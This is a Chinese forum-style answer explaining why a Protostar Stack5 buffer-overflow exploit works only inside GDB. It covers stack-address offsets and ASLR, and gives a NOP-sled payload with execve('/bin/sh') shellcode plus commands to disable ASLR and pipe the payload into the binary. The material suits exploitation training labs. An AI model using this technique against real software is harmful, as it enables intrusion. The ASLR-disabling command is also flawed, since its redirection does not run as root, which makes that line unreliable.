Protostar Stack5类程序Shellcode仅在GDB中生效问题求助
这问题我太熟悉了——很多人第一次玩栈溢出都会栽在GDB和直接运行的环境差异上。咱们先拆解核心原因,再给你具体的解决步骤:
核心原因:GDB与直接运行的环境差异
1. 栈地址偏移
GDB启动程序时会注入调试相关的环境变量,这会让进程的栈起始地址和直接运行时不一样。你在GDB里找到的返回地址(用来跳转到shellcode的),放到直接运行的程序里,根本不是shellcode所在的位置,自然执行失败。
2. 输入方式的隐性差异
手动在终端输入payload时,换行符、输入缓冲的处理可能和GDB里的输入机制不一样,容易破坏payload的完整性;而gets()对输入的处理又很“耿直”,一点点偏差都会导致溢出失败。
3. ASLR的干扰
如果你的系统开启了地址空间布局随机化(ASLR),每次运行程序时栈地址都会随机变化,哪怕是直接运行,两次的地址都不一样,更别说和GDB环境对比了。
具体解决步骤
1. 临时关闭ASLR(32位环境下)
先检查ASLR状态:
cat /proc/sys/kernel/randomize_va_space
如果输出是1或2,说明ASLR开启了,临时关闭它:
sudo echo 0 > /proc/sys/kernel/randomize_va_space
关闭后,栈地址会固定下来,GDB里查到的地址和直接运行时会基本一致(仍可能有小偏移,后面用NOP滑橇解决)。
2. 构造带NOP滑橇的Payload
NOP滑橇(一堆\x90指令)的作用是:哪怕返回地址和shellcode的实际位置有小偏移,只要跳到滑橇里,CPU就会顺着滑橇一路执行到真正的shellcode。
步骤:
- 在GDB里用
p &container获取缓冲区的地址,比如假设得到0xffffd000 - 构造Payload:前36字节(32字节缓冲区+4字节EBP)填充垃圾字符,接着是指向NOP滑橇的地址(比如
0xffffd010,确保落在滑橇范围内),然后是50个\x90,最后放你的shellcode。
示例用Python生成Payload(替换成你自己的shellcode和地址):
python -c 'print "A"*36 + "\x10\xd0\xff\xff" + "\x90"*50 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"' > payload.bin
3. 用管道输入Payload
避免手动输入的干扰,直接用管道把Payload喂给程序:
cat payload.bin | ./binary1
额外验证小技巧
如果还是不行,可以在GDB里模拟直接运行的环境:
gdb -ex "run < payload.bin" ./binary1
这样能确认Payload本身有没有问题,如果GDB里这样能运行,那直接运行时的问题大概率是地址偏移或输入方式的问题。
内容的提问来源于stack exchange,提问作者MihaiDamian

